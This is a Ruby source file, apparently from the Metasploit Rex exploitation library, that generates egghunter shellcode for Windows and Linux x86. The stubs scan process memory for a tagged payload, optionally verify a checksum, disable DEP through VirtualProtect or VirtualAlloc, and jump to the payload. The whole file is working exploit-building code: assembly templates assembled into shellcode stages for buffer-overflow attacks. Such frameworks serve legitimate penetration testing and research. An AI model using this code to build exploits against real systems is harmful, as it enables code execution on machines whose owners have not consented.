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# -*- coding: binary -*-
require 'rex/text'
require 'rex/arch'
require 'metasm'
module Rex
module Exploitation
###
#
# This class provides an interface to generating egghunters. Egghunters are
# used to search process address space for a known byte sequence. This is
# useful in situations where there is limited room for a payload when an
# overflow occurs, but it's possible to stick a larger payload somewhere else
# in memory that may not be directly predictable.
#
# Original implementation by skape
# (See http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf)
#
# Checksum checking implemented by dijital1/corelanc0d3r
# Checksum code merged to Egghunter by jduck
# Conversion to use Metasm by jduck
# Startreg code added by corelanc0d3r
# Added routine to disable DEP for discovered egg (for win, added by corelanc0d3r)
# Added support for searchforward option (true or false)
#
###
class Egghunter
###
#
# Windows-based egghunters
#
###
module Windows
Alias = "win"
module X86
Alias = ARCH_X86
#
# The egg hunter stub for win/x86.
#
def hunter_stub(payload, badchars = '', opts = {})
startreg = opts[:startreg]
searchforward = opts[:searchforward]
raise RuntimeError, "Invalid egg string! Need 4 bytes." if opts[:eggtag].length != 4
marker = "0x%x" % opts[:eggtag].unpack('V').first
checksum = checksum_stub(payload, badchars, opts)
startstub = ''
if startreg
if startreg.downcase != 'edx'
startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr"
else
startstub = "\n\tjmp next_addr"
end
end
startstub << "\n\t" if startstub.length > 0
# search forward or backward ?
flippage = "\n\tor dx,0xfff"
edxdirection = "\n\tinc edx"
if searchforward.to_s.downcase == 'false'
# go backwards
flippage = "\n\txor dl,dl"
edxdirection = "\n\tdec edx"
end
# other vars
getpointer = ''
getsize = ''
getalloctype = ''
getpc = ''
jmppayload = "jmp edi"
apireg = opts[:depreg] || 'esi'
apidest = opts[:depdest]
depsize = opts[:depsize]
freeregs = [ "esi", "ebp", "ecx", "ebx" ]
reginfo = {
"ebx"=>["bx","bl","bh"],
"ecx"=>["cx","cl","ch"]
}
if opts[:depmethod]
if freeregs.index(apireg) == nil
getpointer << "mov #{freeregs[0]},#{apireg}\n\t"
apireg = freeregs[0]
end
freeregs.delete(apireg)
if opts[:depmethod].downcase == "virtualalloc"
depsize = 0xfff
end
if opts[:depmethod].downcase == "copy" || opts[:depmethod].downcase == "copy_size"
if apidest
if freeregs.index(apidest) == nil
getpointer << "mov #{freeregs[0]},#{apidest}\n\t"
apidest = freeregs[0]
end
else
getpc = "fldpi\n\tfstenv [esp-0xc]\n\tpop #{freeregs[0]}\n\t"
apidest = freeregs[0]
end
freeregs.delete(apidest)
end
sizereg = freeregs[0]
if not depsize
depsize = payload.length * 2
if opts[:depmethod]
if opts[:depmethod].downcase == "copy_size"
depsize = payload.length
end
end
end
if depsize <= 127
getsize << "push 0x%02x\n\t" % depsize
else
sizebytes = "%04x" % depsize
low = sizebytes[2,4]
high = sizebytes[0,2]
if sizereg == "ecx" || sizereg == "ebx"
regvars = reginfo[sizereg]
getsize << "xor #{sizereg},#{sizereg}\n\t"
if low != "00" and high != "00"
getsize << "mov #{regvars[0]},0x%s\n\t" % sizebytes
elsif low != "00"
getsize << "mov #{regvars[1]},0x%s\n\t" % low
elsif high != "00"
getsize << "mov #{regvars[2]},0x%s\n\t" % high
end
end
if sizereg == "ebp"
if low != "00" and high != "00"
getsize << "xor #{sizereg},#{sizereg}\n\t"
getsize << "mov bp,0x%s\n\t" % sizebytes
end
end
# last resort
if getsize == ''
blockcnt = 0
vpsize = 0
blocksize = depsize
while blocksize > 127
blocksize = blocksize / 2
blockcnt += 1
end
getsize << "xor #{sizereg},#{sizereg}\n\tadd #{sizereg},0x%02x\n\t" % blocksize
vpsize = blocksize
depblockcnt = 0
while depblockcnt < blockcnt
getsize << "add #{sizereg},#{sizereg}\n\t"
vpsize += vpsize
depblockcnt += 1
end
delta = depsize - vpsize
if delta > 0
getsize << "add #{sizereg},0x%02x\n\t" % delta
end
end
if opts[:depmethod].downcase == "virtualalloc"
getsize << "inc #{sizereg}\n\t"
end
getsize << "push #{sizereg}\n\t"
end
getalloctype = getsize
case opts[:depmethod].downcase
when "virtualprotect"
jmppayload = "push esp\n\tpush 0x40\n\t"
jmppayload << getsize
jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
when "virtualalloc"
jmppayload = "push 0x40\n\t"
jmppayload << getalloctype
jmppayload << "push 0x01\n\t"
jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
when "copy"
jmppayload = getpc
jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
when "copy_size"
jmppayload = getpc
jmppayload << getsize
jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
end
end
jmppayload << "\n" if jmppayload.length > 0
assembly = <<EOS
#{getpointer}
#{startstub}
check_readable:
#{flippage}
next_addr:
#{edxdirection}
push edx
push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
pop eax
int 0x2e
cmp al,5
pop edx
je check_readable
check_for_tag:
; check that the tag matches once
mov eax,#{marker}
mov edi,edx
scasd
jne next_addr
; it must match a second time too
scasd
jne next_addr
; check the checksum if the feature is enabled
#{checksum}
; jump to the payload
#{jmppayload}
EOS
assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
# return the stub
assembled_code
end
end
end
###
#
# Linux-based egghunters
#
###
module Linux
Alias = "linux"
module X86
Alias = ARCH_X86
#
# The egg hunter stub for linux/x86.
#
def hunter_stub(payload, badchars = '', opts = {})
startreg = opts[:startreg]
raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
marker = "0x%x" % opts[:eggtag].unpack('V').first
checksum = checksum_stub(payload, badchars, opts)
startstub = ''
if startreg
if startreg.downcase != 'ecx'
startstub = "\n\tmov ecx,#{startreg}\n\tjmp next_addr"
else
startstub = "\n\tjmp next_addr"
end
end
startstub << "\n\t" if startstub.length > 0
assembly = <<EOS
cld
#{startstub}
check_readable:
or cx,0xfff
next_addr:
inc ecx
push 0x43 ; use 'sigaction' syscall
pop eax
int 0x80
cmp al,0xf2
je check_readable
check_for_tag:
; check that the tag matches once
mov eax,#{marker}
mov edi,ecx
scasd
jne next_addr
; it must match a second time too
scasd
jne next_addr
; check the checksum if the feature is enabled
#{checksum}
; jump to the payload
jmp edi
EOS
assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
# return the stub
assembled_code
end
end
end
###
#
# Generic interface
#
###
#
# Creates a new egghunter instance and acquires the sub-class that should
# be used for generating the stub based on the supplied platform and
# architecture.
#
def initialize(platform, arch = nil)
Egghunter.constants.each { |c|
mod = self.class.const_get(c)
next if ((!mod.kind_of?(::Module)) or
(!mod.const_defined?('Alias')))
if (platform =~ /#{mod.const_get('Alias')}/i)
self.extend(mod)
if (arch and mod)
mod.constants.each { |a|
amod = mod.const_get(a)
next if ((!amod.kind_of?(::Module)) or
(!amod.const_defined?('Alias')))
if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
amod = mod.const_get(a)
self.extend(amod)
end
}
end
end
}
end
#
# This method generates an egghunter using the derived hunter stub.
#
def generate(payload, badchars = '', opts = {})
# set defaults if options are missing
# NOTE: there is no guarantee this won't exist in memory, even when doubled.
# To address this, use the checksum feature :)
opts[:eggtag] ||= Rex::Text.rand_text(4, badchars)
# Generate the hunter_stub portion
return nil if ((hunter = hunter_stub(payload, badchars, opts)) == nil)
# Generate the marker bits to be prefixed to the real payload
egg = ''
egg << opts[:eggtag] * 2
egg << payload
if opts[:checksum]
cksum = 0
payload.each_byte { |b|
cksum += b
}
egg << [cksum & 0xff].pack('C')
end
return [ hunter, egg ]
end
protected
#
# Stub method that is meant to be overridden. It returns the raw stub that
# should be used as the egghunter.
#
def hunter_stub(payload, badchars = '', opts = {})
end
def checksum_stub(payload, badchars = '', opts = {})
return '' if not opts[:checksum]
if payload.length < 0x100
cmp_reg = "cl"
elsif payload.length < 0x10000
cmp_reg = "cx"
else
raise RuntimeError, "Payload too big!"
end
egg_size = "0x%x" % payload.length
checksum = <<EOS
push ecx
xor ecx,ecx
xor eax,eax
calc_chksum_loop:
add al,byte [edi+ecx]
inc ecx
cmp #{cmp_reg},#{egg_size}
jnz calc_chksum_loop
test_chksum:
cmp al,byte [edi+ecx]
pop ecx
jnz next_addr
EOS
end
end
end
end
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